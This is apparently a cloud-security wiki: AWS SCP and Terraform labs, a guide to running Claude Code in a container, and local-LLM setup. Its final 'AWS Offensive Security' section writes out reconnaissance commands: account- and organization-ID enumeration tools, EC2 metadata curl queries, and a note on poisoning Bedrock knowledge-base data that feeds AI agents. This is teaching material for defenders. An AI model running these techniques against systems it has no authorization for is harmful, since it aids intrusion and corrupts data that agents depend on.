If you're already familiar with Terraform, feel free to hop over to the [AWS Security Cookbook by Tyler GitHub repository](https://github.com/Ty182/AWS-Security-Cookbook-by-Tyler/tree/main) to grab and deploy the code. Otherwise, stick around and we'll walk through it together!&#x20;
{% endhint %}

## Overview

The Terraform code for this module has been left in a simplified state (i.e., not using modules, loops, or other advanced Terraform features) to be more easily accessible. You can customize it further to meet your specific requirements.

## Deployment

{% hint style="danger" %}

## Cost Alert

Root Access Management is a feature of AWS Identity and Access Management (IAM) that is available at no additional charge.

* See <https://aws.amazon.com/iam/faqs/>
  {% endhint %}

{% code overflow="wrap" %}

```bash
# clone the AWS Security Cookbook repository
git clone https://github.com/Ty182/AWS-Security-Cookbook-by-Tyler

# navigate to AWS Root Account Management directory
cd AWS_Cookbook_by_Tyler/recipes/aws_rootAccountManagement/code

# initialize the directory and download the required terraform providers
terraform init

# check formatting and validate the syntax is correct
terraform fmt && terraform validate

# check the resources that will be created
terraform plan 

# deploy the resources
terraform apply
```

{% endcode %}

* Once complete, head to the AWS IAM console and check it out!

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FyJNCmeUMO6fwfUMOTCs7%2FCleanShot%202025-02-26%20at%2017.13.57%402x.png?alt=media&amp;token=ec97e8ab-4899-471c-8532-d869c4360b03" alt=""><figcaption><p>Root access management console in IAM</p></figcaption></figure>

## Cleanup

{% hint style="danger" %}

## Clean up the resources

Avoid unnecessary costs by deleting the created resources

`terraform destroy`
{% endhint %}


# AWS Service Control Policies (SCPs)

An overview of AWS Service Control Policies (SCPs)

## 📖 Introduction to AWS Service Control Policies (SCPs)

AWS Service Control Policies (SCPs) are a kind of Organizational policy that can be enabled. They limit the maximum IAM permissions within your organization. Like IAM policies, SCPs are JSON documents but attach to AWS accounts, OUs, or the organization root, rather than IAM identities.

***

## 🗒️ Understanding AWS Service Control Policies (SCPs) Features

By default, when you enable AWS SCPs for an AWS Organization, an SCP is automatically applied called `FullAWSAccess`which allows for all services and actions. Remember, AWS SCPs minimize allowed permissions rather than grant permissions. If this policy is removed and not replaced at any level of the organization, all OUs and accounts under that level will be blocked from taking any actions.

Some useful information about SCPs:

* The maximum size of a policy document is: 5120 characters
* The maximum amount of SCPs that can be deployed to a Root OU, OU, or Account respectively is 5

Since SCPs define the maximum permissions that an IAM user or role can have, they can be used to block actions. Here is an example showing an SCP blocking the `iam:CreateUser` action:

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FM4NoewJ5VdiBhymqD7Qt%2Fimage.png?alt=media&amp;token=220d0656-40a8-4852-a33c-4b3fc5ca20d1" alt=""><figcaption><p>SCP blocking iam user creation</p></figcaption></figure>

An important thing to note is the error message is generic and does not provide any information about the SCP that is blocking the action. This can make troubleshooting difficult, especially in organizations with multiple SCPs and other policy types that could be having an impact. In some cases, this message shows up even when it's not an SCP blocking the action!

***

## 📚 Additional Resources

* [AWS Service Control Policy (SCP) Documentation](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps.html)

***

## 🏗️ Hands-on Exercises&#x20;

{% content-ref url="/pages/O2hx6nlqnhpA2cP9z6lz" %}
[Lab: Deploying AWS Service Control Policies (SCPs) via Terraform](/academy/aws-security-cookbook-by-tyler/aws-service-control-policies-scps/lab-deploying-aws-service-control-policies-scps-via-terraform)
{% endcontent-ref %}


# Lab: Deploying AWS Service Control Policies (SCPs) via Terraform

How to deploy AWS Service Control Policies via Terraform

{% hint style="success" %}

## Already Know Terraform?

If you're already familiar with Terraform, feel free to hop over to the [AWS Security Cookbook by Tyler GitHub repository](https://github.com/Ty182/AWS-Security-Cookbook-by-Tyler/tree/main) to grab and deploy the code. Otherwise, stick around and we'll walk through it together!&#x20;
{% endhint %}

## Overview

The Terraform code for this module has been left in a simplified state (i.e., not using modules, loops, or other advanced Terraform features) to be more easily accessible. You can customize it further to meet your specific requirements.

## Deployment

{% hint style="danger" %}

## Cost Alert

SCP policies are a feature of AWS Organizations and are free to use.

* See pricing details here: <https://docs.aws.amazon.com/organizations/latest/userguide/pricing.html>
  {% endhint %}

{% code overflow="wrap" %}

```bash
# clone the AWS Security Cookbook repository
git clone https://github.com/Ty182/AWS-Security-Cookbook-by-Tyler

# navigate to AWS Service Control Policies (SCPs) directory
cd AWS_Cookbook_by_Tyler/recipes/aws_serviceControlPolicies/code

# initialize the directory and download the required terraform providers
terraform init

# check formatting and validate the syntax is correct
terraform fmt && terraform validate

# check the resources that will be created
terraform plan 

# deploy the resources
terraform apply
```

{% endcode %}

* Once complete, head to the AWS Organizations console and check it out!

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FoWmh6L8wXIoXg1Dj4c2c%2FCleanShot%202025-02-26%20at%2017.18.21%402x.png?alt=media&amp;token=9ef4718c-ad08-4526-8d0f-8ac66d9184d8" alt=""><figcaption><p>AWS Organizations console showing Service Control Policies</p></figcaption></figure>

## Cleanup

{% hint style="danger" %}

## Clean up the resources

Avoid unnecessary costs by deleting the created resources

`terraform destroy`
{% endhint %}


# AWS Declarative Policies

An overview of AWS Declarative Policies

{% content-ref url="/pages/zPDnoJWTcDt8JnYc0b5s" %}
[Declarative Policies](/cloud-security/aws/aws-defensive-security/aws-organizations/declarative-policies)
{% endcontent-ref %}


# Claude Code

Everything related to Claude Code


# Containerizing AI Agents

How to secure and run AI agents in containers

## Overview

AI agents, local LLMs, harnesses- you name it are typically run on your local system. Some folks have dedicated AI hardware like Nvidia's DGX Spark, and others run them on their computers — Apple Silicon Macs are especially popular right now! These AI services will inherit your level of access, which is usually admin, and as such get full access to your machine, your data, and your credentials. Maybe you're already aware of this and have taken steps to mitigate their access through your `CLAUDE.md` / `Agents.md` or configuration files. Great. But what if that doesn't always work? What if there's a bug? What if the AI goes rogue? You're essentially trying to restrict the AI by using itself. That's not a great approach.​

Enter containers. Containers can provide isolation benefits for the underlying OS, data, applications and their dependencies, networking, and more. This makes them an interesting platform to consider for hosting AI agents. If bugs happen, prompt injections occur, or an agent goes rogue, the scope of damage is far less than if it happened on your machine. Let's dive into containerizing our AI workloads.

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2Fa3BRtdkYBfMoNjmAeheq%2FCleanShot%202026-09-06%20at%2013.56.03%402x.png?alt=media&amp;token=2c5bdd4d-d897-49c5-83c3-5b560575b746" alt=""><figcaption><p> <strong>* Containers can have access to host data and its filesystem depending on how it's deployed</strong> </p></figcaption></figure>

***

{% hint style="info" %}
This example shows how to containerize the Claude Code CLI but you can do other tools like Hermes, Cursor, etc.&#x20;
{% endhint %}

## Containerizing Claude Code

### Creating the Dockerfile

When building a container, it's always best to use a secure, minimal image as a base and then build on top of it. Chainguard is a great platform for providing secure base images. While you need a subscription for much of what they offer, they provide a free secure distroless base image called [wolfi](https://github.com/wolfi-dev). We'll use this in the Dockerfile example below.&#x20;

For the latest example, check my [GitHub repo](https://github.com/Ty182/Containerizing-AI-Agents).&#x20;

{% code overflow="wrap" expandable="true" %}

```docker
# Chainguard Wolfi base, pinned by digest for reproducibility
FROM cgr.dev/chainguard/wolfi-base@sha256:918a593b8268c222afd4e2c4f06860ac984e60719b4697e4c71d796bc8fcd042

# Install Node.js/npm (to run the CLI), git (repo operations), and bash
RUN apk add --no-cache nodejs npm git ca-certificates bash

### Claude Code Env Vars ### 
# https://code.claude.com/docs/en/env-vars

# Disable self-update so the pinned version doesn't drift at runtime
ENV DISABLE_AUTOUPDATER=1
# Cut non-essential network calls (feature-flag fetching, Remote Control)
ENV CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC=1
# Don't send telemetry or error reports out of this container
ENV DISABLE_TELEMETRY=1
ENV DISABLE_ERROR_REPORTING=1
# Keep config/state confined to the container's own home dir
ENV CLAUDE_CONFIG_DIR=/home/claude/.claude
# Set shell to bash
ENV SHELL=/bin/bash

# Install the latest Claude Code CLI globally. npm blocks its postinstall script
# by default (allowScripts) so we'll need to allow it
RUN npm install -g @anthropic-ai/claude-code@latest --allow-scripts=@anthropic-ai/claude-code \
    && claude --version \
    && npm cache clean --force

# Create a non-root user/group with fixed, reproducible IDs; the CLI refuses to run
# as root with --dangerously-skip-permissions
RUN addgroup -g 10001 claude && adduser -D -u 10001 -G claude claude

# Create the workspace and home config dir, and hand ownership to the non-root user
# before switching to it (npm/claude need to write config under CLAUDE_CONFIG_DIR)
RUN mkdir -p /workspace /home/claude/.claude && \
    chown -R claude:claude /workspace /home/claude
USER claude
WORKDIR /workspace

LABEL org.opencontainers.image.title="wolfi-claude-code" \
      org.opencontainers.image.description="Isolated Claude Code CLI sandbox on Chainguard Wolfi" \
      org.opencontainers.image.source="https://github.com/Ty182/Containerizing-AI-Agents"

# Default to launching the CLI when the container starts
ENTRYPOINT ["claude"]

```

{% endcode %}

### Building the container

{% code overflow="wrap" expandable="true" %}

```zsh
# Run in the same directory as your Dockerfile
docker buildx build --tag wolfi-claude .
```

{% endcode %}

### Running the container

Keeping it simple, this launches an interactive container where we'll be immediately dropped into our Claude Code CLI. You can explore other [docker parameters](https://docs.docker.com/reference/cli/docker/container/run/#options) if you want to pass API keys, mount directories, etc.&#x20;

{% code overflow="wrap" expandable="true" %}

```zsh
# Start an interactive container
docker run --rm -it wolfi-claude
```

{% endcode %}

{% hint style="info" %}
If instead you want to point Claude towards a model running elsewhere (like in LM Studio), simply set these environment variables during runtime. Alternatively, add them to your Dockerfile for a more permanent setup.
{% endhint %}

{% code overflow="wrap" expandable="true" %}

```zsh
# Start an interactive container redirecting claude to a local LLM in LM Studio
docker run --rm -it \
  -e ANTHROPIC_BASE_URL="http://host.docker.internal:1234" \
  -e ANTHROPIC_AUTH_TOKEN="lmstudio" \
  -e ANTHROPIC_MODEL="gemma-4-26b-a4b-qat" \
  wolfi-claude
```

{% endcode %}

After a couple of Claude Code CLI popups, you'll be ready to go!

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2F7CvJCINpXKBUhxVZuaMZ%2FCleanShot%202026-09-06%20at%2012.56.46%402x.png?alt=media&amp;token=0ff6c612-4a15-4867-b9d5-50b6e60f0d0e" alt=""><figcaption></figcaption></figure>


# Model Context Protocol (MCP)

How to setup and use MCP servers


# AWS Terraform MCP Server

How to setup AWS's Terraform MCP Server

## Overview

* AWS has open-sourced an MCP server specifically for using Terraform on AWS
* It includes things like best practices, security scanning (checkov), documentation, and more
* While AI is capable of writing Terraform, this provides it with more prescriptive and up-to-date guidance

***

## Installation

{% hint style="danger" %}
Always review the source code for MCP servers to avoid running malicious code or commands.&#x20;
{% endhint %}

### Pre-Requisites

* The following are required before the server will run

{% code overflow="wrap" %}

```bash
brew install uv terraform checkov
uv python install 3.10
```

{% endcode %}

### MCP Setup

* First, install the [VS Code extension](https://insiders.vscode.dev/redirect/mcp/install?name=Terraform%20MCP%20Server\&config=%7B%22command%22%3A%22uvx%22%2C%22args%22%3A%5B%22awslabs.terraform-mcp-server%40latest%22%5D%2C%22env%22%3A%7B%22FASTMCP_LOG_LEVEL%22%3A%22ERROR%22%7D%2C%22disabled%22%3Afalse%2C%22autoApprove%22%3A%5B%5D%7D) for the MCP server

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2Fl666mp5rYviNljLEDtyO%2FCleanShot%202026-02-27%20at%2012.12.16%402x.png?alt=media&amp;token=dfce965a-5c24-4222-b558-cb6b2b8625f6" alt="" width="563"><figcaption></figcaption></figure>

* Then run the installation command below to add the MCP server to your `~/.claude.json` configuration
  * `--scope`&#x20;
    * setting to `user` will enable us to the MCP server anytime otherwise&#x20;
    * setting to `project` will only use the MCP server within a project directory e.g., `my-project-folder/project-code`

{% code overflow="wrap" %}

```bash
claude mcp add --scope user -e FASTMCP_LOG_LEVEL=ERROR -- awslabs-terraform-mcp-server uvx awslabs.terraform-mcp-server@latest
```

{% endcode %}

* Alternatively, you can copy/paste this into your `~/.cluade.json` file for the same effect but the previous CLI command is recommended to avoid issues

{% code overflow="wrap" %}

```json
"mcpServers": {
    "awslabs.terraform-mcp-server": {
      "command": "uvx",
      "args": ["awslabs.terraform-mcp-server@latest"],
      "env": {
        "FASTMCP_LOG_LEVEL": "ERROR"
      },
      "disabled": false,
      "autoApprove": []
    }
  }
```

{% endcode %}

### MCP Health Checks

* Check to ensure the MCP server is running

{% code overflow="wrap" %}

```
claude mcp list
Checking MCP server health...

awslabs-terraform-mcp-server: uvx awslabs.terraform-mcp-server@latest - ✓ Connected
```

{% endcode %}

### MCP Configuration

* The GitHub repo for this particular AWS Terraform MCP server can be [found here](https://github.com/awslabs/mcp/tree/main/) so be sure to review all the code it can run
* Additionally, the MCP code gets cached locally and since we installed this with `uv` we can find the data in these paths

{% hint style="info" %}
The `*` will be unique to your environment
{% endhint %}

{% code overflow="wrap" %}

```bash
~.cache/uv/*/*/lib/*/site-packages/awslabs/terraform_mcp_server/impl/resources/
~.cache/uv/*/*/lib/*/site-packages/awslabs/terraform_mcp_server/impl/tools/
~.cache/uv/*/*/lib/*/site-packages/awslabs/terraform_mcp_server/impl/models/
~.cache/uv/*/*/lib/*/site-packages/awslabs/terraform_mcp_server/impl/scripts/
~.cache/uv/*/*/lib/*/site-packages/awslabs/terraform_mcp_server/impl/static/
```

{% endcode %}

***

## Resources

* <https://awslabs.github.io/mcp/servers/terraform-mcp-server>


# Running LLMs Locally

How to run LLMs locally


# Choosing Models Based on Hardware

Calculator for identifying LLMs that can be run locally

This appears to be a fairly accurate calculator for determining which models will run well based on your hardware.&#x20;

{% embed url="<https://apxml.com/models>" %}


# LM Studio

How to run LLMs locally with LM Studio

## Overview

* LM Studio provides a way to run LLMs locally on your machine
* It's similar to [Ollama](/ai/running-llms-locally/ollama)but provides a GUI interface making it more user-friendly and also similar in style to ChatGPT

***

## Installation

{% code overflow="wrap" %}

```bash
brew install lm-studio
```

{% endcode %}

***

## Running LM Studio

{% hint style="warning" %}
These models are loaded into your system's memory (RAM) when in `READY` state so be cognizant of usage
{% endhint %}

* Open the app and hit `CMD + L` to select a model to use
* Then wait for the model to load i.e., `READY` state

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FjusWSbOZyMyChN1RN9rq%2FCleanShot%202025-11-30%20at%2018.41.59%402x.png?alt=media&amp;token=905e44c5-585e-45cd-85da-e12b56c685b9" alt=""><figcaption></figcaption></figure>

* Click the `Eject` button (seen above) to unload the model from memory

***

## Discovering and Downloading Models

* Models are downloaded from [Hugging Face](https://huggingface.co/)
* Models are downloaded here `~/.lmstudio/models/`
* Open the app and hit `CMD + SHIFT + M`&#x20;

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2F9BBPrIw16H5GoAsRRzT5%2FCleanShot%202025-11-30%20at%2018.49.43%402x.png?alt=media&amp;token=cd661390-3375-4c60-b89e-8dd6272975b0" alt=""><figcaption></figcaption></figure>

* By selecting the below option, we can ensure models will fit on our device (based on memory)

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FlydRCHhfkYhAPaPMZ8CN%2FCleanShot%202025-11-30%20at%2018.50.38%402x.png?alt=media&amp;token=f6cb7bee-1989-42cb-b301-14de30365ebb" alt=""><figcaption></figcaption></figure>

***

## Integrating with VS Code

### Start LM Studio Server

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FLJb8lIovZwOCqAIQz9ys%2FCleanShot%202025-11-30%20at%2019.14.29%402x.png?alt=media&amp;token=e650e738-830d-4e4c-a7b0-2a094008b3c3" alt=""><figcaption></figcaption></figure>

***

### Install VS Code Extension, Continue

* The most straightforward way I've found is by installing the [VS Code extension, continue](https://marketplace.visualstudio.com/items?itemName=Continue.continue)&#x20;
* While this is a 3rd-party coding assistant, the extension is open-source and we can entirely leverage our local LLMs without signing up for this service

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FpFfjLJEsjc75k8LkhlwQ%2FCleanShot%202025-11-30%20at%2019.13.24%402x.png?alt=media&amp;token=54070f82-07e9-45e4-9cf9-dff66ff9b8b0" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FkmsD85tfaElpDq5dFKw4%2FCleanShot%202025-11-30%20at%2019.10.36%402x.png?alt=media&amp;token=25b4104a-188d-4181-8806-415408232925" alt=""><figcaption></figcaption></figure>

* Open up a file e.g. `main.tf` and hit `CTRL + I`&#x20;
* This opens the chat window on the side where you can type in what you want the LLM to write for you

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FaXmp0j8RTWheDGWaWyXS%2FCleanShot%202025-11-30%20at%2019.16.42%402x.png?alt=media&amp;token=94c0b5a5-514f-4b2b-9b85-59797e28ef5a" alt=""><figcaption></figcaption></figure>


# Ollama

How to run LLMs locally with Ollama

## Installation

{% code overflow="wrap" %}

```bash
brew install ollama
```

{% endcode %}

## Uninstallation

{% hint style="danger" %}
Uninstalling ollama does not remove downloaded models!&#x20;
{% endhint %}

{% code overflow="wrap" %}

```zsh
brew uninstall ollama
```

{% endcode %}

{% code overflow="wrap" %}

```zsh
rm -rf ~/.ollama
```

{% endcode %}

***

## Running Ollama Server

* Once up and running, we can download and run models.&#x20;

{% code overflow="wrap" %}

```bash
ollama serve
```

{% endcode %}

* Stop the server by hitting `CTRL + C` or by closing the Terminal session&#x20;

***

## Discovering and Downloading Models

* Models are [viewable here](https://ollama.com/search)
* Models are downloaded here `~/.ollama/models/manifests/registry.ollama.ai/library/`

***

## Command Cheat Sheet

### List downloaded models

{% code overflow="wrap" %}

```bash
ollama list
```

{% endcode %}

### View running models

{% code overflow="wrap" %}

```bash
ollama ps 
```

{% endcode %}

### Running models

If the model isn't installed already, it will be downloaded

{% code overflow="wrap" %}

```bash
ollama run gemma3:27b
```

{% endcode %}

***

## Integrating with VS Code

{% hint style="warning" %}
Ollama must be running for this to work — `ollama serve`
{% endhint %}

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FFSubNHH7V2SBGfbK9gTy%2FCleanShot%202025-11-30%20at%2018.04.40%402x.png?alt=media&amp;token=90722c8c-84e6-4ecf-adfb-14e459abb2eb" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FZWBvS4cFOVj05DglGy8j%2FCleanShot%202025-11-30%20at%2018.05.54%402x.png?alt=media&amp;token=5823aa63-a5b9-4ab8-99e8-4919d1cd9bd7" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FRD34EdvHgNCAQ8snMlj3%2FCleanShot%202025-11-30%20at%2018.06.18%402x.png?alt=media&amp;token=2a161bb9-c22c-4fc1-8452-75f362013869" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2Fd0PE15pQEyvEM4UYQwjt%2FCleanShot%202025-11-30%20at%2018.07.24%402x.png?alt=media&amp;token=dba7f032-6783-46ba-ad2d-8c7fb283509c" alt=""><figcaption></figcaption></figure>


# Claude Code with Local LLM

How to configure Claude Code with a local LLM

## Overview

* A local computer isn't going to compete with a datacenter anytime soon but maybe you're without Internet, want additional data privacy, or have hit your Claude Code subscription limit for the month. In such cases, we can setup Claude Code to work with local LLMs.

{% hint style="info" %}
These same steps can be used for non-local models e.g., if you have an AI server rig, you can point Claude Code (and most other apps) to the model hosted there.&#x20;
{% endhint %}

***

## Setup

### LM Studio

* Download a model, for help checkout [LM Studio](/ai/running-llms-locally/lm-studio#discovering-and-downloading-models)&#x20;
* Start a server, via GUI see [LM Studio](/ai/running-llms-locally/lm-studio#start-lm-studio-server) or run this

{% code overflow="wrap" %}

```bash
## 25k recommended for claude code usage
lms load openai/gpt-oss-20b --context-length 25000

lms server start --port 1234
```

{% endcode %}

### Claude Code Setup — Terminal

* In the terminal run the below making sure to swap out the port and model based on your needs

{% code overflow="wrap" %}

```bash
export ANTHROPIC_BASE_URL=http://localhost:1234
export ANTHROPIC_AUTH_TOKEN=lmstudio
```

{% endcode %}

* Make sure this is the model you've downloaded and have running locally

{% code overflow="wrap" %}

```zsh
claude --model openai/gpt-oss-20b
```

{% endcode %}

* In Claude, we can see the local model is being used

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FrKc9JW3yVQ8DsZn4iRCn%2FCleanShot%202026-02-22%20at%2015.20.27%402x.png?alt=media&amp;token=8530e2bc-02ef-4d2f-8310-b7fd0da90320" alt=""><figcaption></figcaption></figure>

### Claude Code Setup — VS Code

* In VS Code, hit `CMD + SHIFT + P`  and open `Preferences: Open User Settings (JSON)` and paste this snippet within the main `{ }`&#x20;
* Make sure swap out the the URL as needed

{% code overflow="wrap" %}

```json
"claudeCode.environmentVariables": [
        {
            "name": "ANTHROPIC_BASE_URL",
            "value": "http://localhost:1234"
        },
        {
            "name": "ANTHROPIC_AUTH_TOKEN",
            "value": "lmstudio"
        }
    ],
```

{% endcode %}

### Validating Setup — Developer Logs

* Within LMStudio, we can view the developer logs to validate our interaction with Claude is leveraging the local LLM

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FGzHp38Oo9VIda735xaK1%2FCleanShot%202026-02-22%20at%2015.25.46%402x.png?alt=media&amp;token=221f5be7-25f9-45b5-b38b-f303d6f80fed" alt=""><figcaption></figcaption></figure>

***

## Resources

* <https://lmstudio.ai/blog/claudecode>


# AWS


# AWS Overview

An overview of AWS's architecture

{% hint style="info" %}
This page provides a high-level overview of core AWS services from a security perspective. These services are key to building comprehensive security coverage across your environment, but this list is not exhaustive.
{% endhint %}

## Organization & Account Structure

```
AWS Organization
└── Organizational Units (optional)
     └── Account(s) 
          └── Resource(s)
```

AWS Organizations is a feature that can be optionally enabled to provide organizational and security governance across multiple AWS accounts. The account where this gets enabled is called the Management account (aka Payer account). Accounts can be placed under the root of the Organization or can optionally be placed into Organizational Units (OUs). OUs provide logical organization of accounts and can be leveraged for Service Control Policies (SCPs) as a preventive control, tag policies for governance enforcement, and more.

Enabling Organizations provides features such as:

* Consolidated billing of all AWS accounts in the Organization
* Organizational security and governance policies

AWS accounts are the primary unit of security isolation. Each account has its own Identity and Access Management (IAM), independent resource spaces, and separate network boundaries. This makes accounts the recommended blast radius boundary; a compromise or misconfiguration in one account does not directly affect others. This is the foundation of the AWS multi-account strategy, where workloads, environments (dev/prod), and security functions (logging, auditing) are separated into dedicated accounts.

The management account is exempt from SCPs and cannot be restricted by organizational policies. A compromise of the management account is effectively a compromise of the entire organization. AWS recommends [several best practices](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_best-practices_mgmt-acct.html) such as minimizing access to this account and using Delegated Administrator to shift organizational feature management, such as Security Hub or GuardDuty administration, to member accounts that can be governed by SCPs and other organizational policies.

## Policy & Governance

## Logging & Monitoring

## Identity & Access Management

## Security & Threat Detection

## Network Security


# AWS Offensive Security

AWS offensive security tactics and techniques


# AWS Attacks and Techniques

Demonstrating various attacks that can be performed on AWS accounts and services


# Data Poisoning - Bedrock Knowledge Base

How to poison Amazon Bedrock Knowledge Base

## Overview

* Amazon Bedrock Knowledge Bases can leverage data from multiple sources e.g., S3, Salesforce, and more
* This data may support critical operations such as customer service agents, internal references, and more
* If attackers can gain access to and/or modify the data, it can impact these workloads

### Resync Data Source

* Once data is modified (e.g., an attacker corrupts data in an S3 bucket), the knowledge base will need to resync with the data source

{% code overflow="wrap" %}

```zsh
aws bedrock-agent start-ingestion-job --knowledge-base-id <knowledge-base-id> --data-source-id <data-source-id>
```

{% endcode %}

* Get knowledge base id from `aws bedrock-agent list-knowledge-bases`
* Get data source id from `aws bedrock-agent list-data-sources --knowledge-base-id <knowledge-base-id>`


# Enumerate AWS Organization ID

How to enumerate the AWS Organization ID

## Methods to Enumerate AWS Organization ID

### Using an S3 Bucket Name

* Knowing the name of an AWS S3 bucket, we can use [conditional-love](https://github.com/plerionhq/conditional-love) to identify the organization ID
* The bucket <mark style="color:red;">must be public</mark> or otherwise accessible by the IAM Role used&#x20;

{% code overflow="wrap" %}

```bash
./conditional-love.py --profile dev --role arn:aws:iam::111111111111:role/s3-cracker --target tylerguessmyorg --action=s3:HeadObject --condition=aws:ResourceOrgID --alphabet=abcdefghijklmnopqrstuvwxyz-

Starting to be wrong. Please be patient...
=> o
=> o-
=> o-a
=> o-ab
=> o-abe
=> o-abek
=> o-abekz
```

{% endcode %}


# Enumerate AWS Account IDs

To maintain security, AWS Account IDs should be handled carefully, even though they are not deemed confidential. While they are not secrets, they can lead to exposure of sensitive resources or data.

## Are AWS Account IDs considered to be a secret?

* [AWS has long said that AWS Account IDs are not secret](https://docs.aws.amazon.com/accounts/latest/reference/manage-acct-identifiers.html)

> While account IDs, like any identifying information, should be used and shared carefully, they are not considered secret, sensitive, or confidential information.

## What is the risk of exposed AWS Account IDs?

* Knowing an AWS Account ID can lead to discovering information that could be used to compromise an account. For example, knowing the AWS Account ID lets us find public resources (e.g., EBS or RDS snapshots, AMIs, etc.) that could contain credentials or other sensitive information.&#x20;

***

## Methods to Enumerate AWS Account IDs

### Using valid AWS Access Keys

* With valid AWS Access Keys, we can use an AWS CLI command

{% code overflow="wrap" %}

```bash
aws --profile dev sts get-caller-identity 
                                                                                 
{
    "UserId": "AIDAxxxxxxx",
    "Account": "111111111111",
    "Arn": "arn:aws:iam::111111111111:user/dev_user"
}
```

{% endcode %}

***

### Using AWS Access Key ID

* With just a valid AWS Access Key ID, we can use an AWS CLI command
* You <mark style="color:red;">must have valid access keys configured</mark> for this to work but these can be from your own account i.e., it doesn't need to be credentials from the same account as the access key id found

{% code overflow="wrap" fullWidth="false" %}

```sh
aws sts get-access-key-info --access-key-id AKIAxxxxxxxxxx
{
    "Account": "111111111111"
}
```

{% endcode %}

***

### Using an S3 Bucket Name

* Knowing the name of an AWS S3 bucket, we can use [s3-account-search](/cloud-security/tools/s3-account-search) to identify the account ID
* The bucket <mark style="color:red;">must be public</mark> or otherwise accessible by the IAM Role used&#x20;

{% code overflow="wrap" %}

```bash
s3-account-search --profile dev arn:aws:iam::111111111111:role/s3-enumerator s3bucketnamehere
 
Starting search (this can take a while)
found: 1
found: 11
found: 112
found: 1123
found: 11234
found: 112345
found: 1123456
found: 11234567
found: 112345678
found: 1123456789
found: 11234567890
found: 112345678901
```

{% endcode %}

***

### Using EC2 metadata

* The EC2 metadata service (IMDS) provides the AWS Account ID in the [instance identity document](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/retrieve-iid.html)
* This method <mark style="color:red;">requires code execution</mark> on the target EC2 as IMDS is a local service&#x20;

{% tabs %}
{% tab title="IMDSv1" %}
{% code overflow="wrap" %}

```bash
curl http://169.254.169.254/latest/dynamic/instance-identity/document

{
  "accountId" : "111111111111",
  "architecture" : "x86_64",
  "availabilityZone" : "us-west-2b",
  "billingProducts" : null,
  "devpayProductCodes" : null,
  "marketplaceProductCodes" : null,
  "imageId" : "ami-xxxxxxxxxx",
  "instanceId" : "i-xxxxxxxxxx",
  "instanceType" : "t2.micro",
  "kernelId" : null,
  "pendingTime" : "2024-12-08T03:46:08Z",
  "privateIp" : "172.31.30.110",
  "ramdiskId" : null,
  "region" : "us-west-2",
  "version" : "2017-09-30"
```

{% endcode %}
{% endtab %}

{% tab title="IMDSv2" %}
{% code overflow="wrap" %}

```bash
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` \
&& curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document

{
  "accountId" : "111111111111",
  "architecture" : "x86_64",
  "availabilityZone" : "us-west-2b",
  "billingProducts" : null,
  "devpayProductCodes" : null,
  "marketplaceProductCodes" : null,
  "imageId" : "ami-xxxxxxxxxx",
  "instanceId" : "i-xxxxxxxxxx",
  "instanceType" : "t2.micro",
  "kernelId" : null,
  "pendingTime" : "2024-12-08T03:46:08Z",
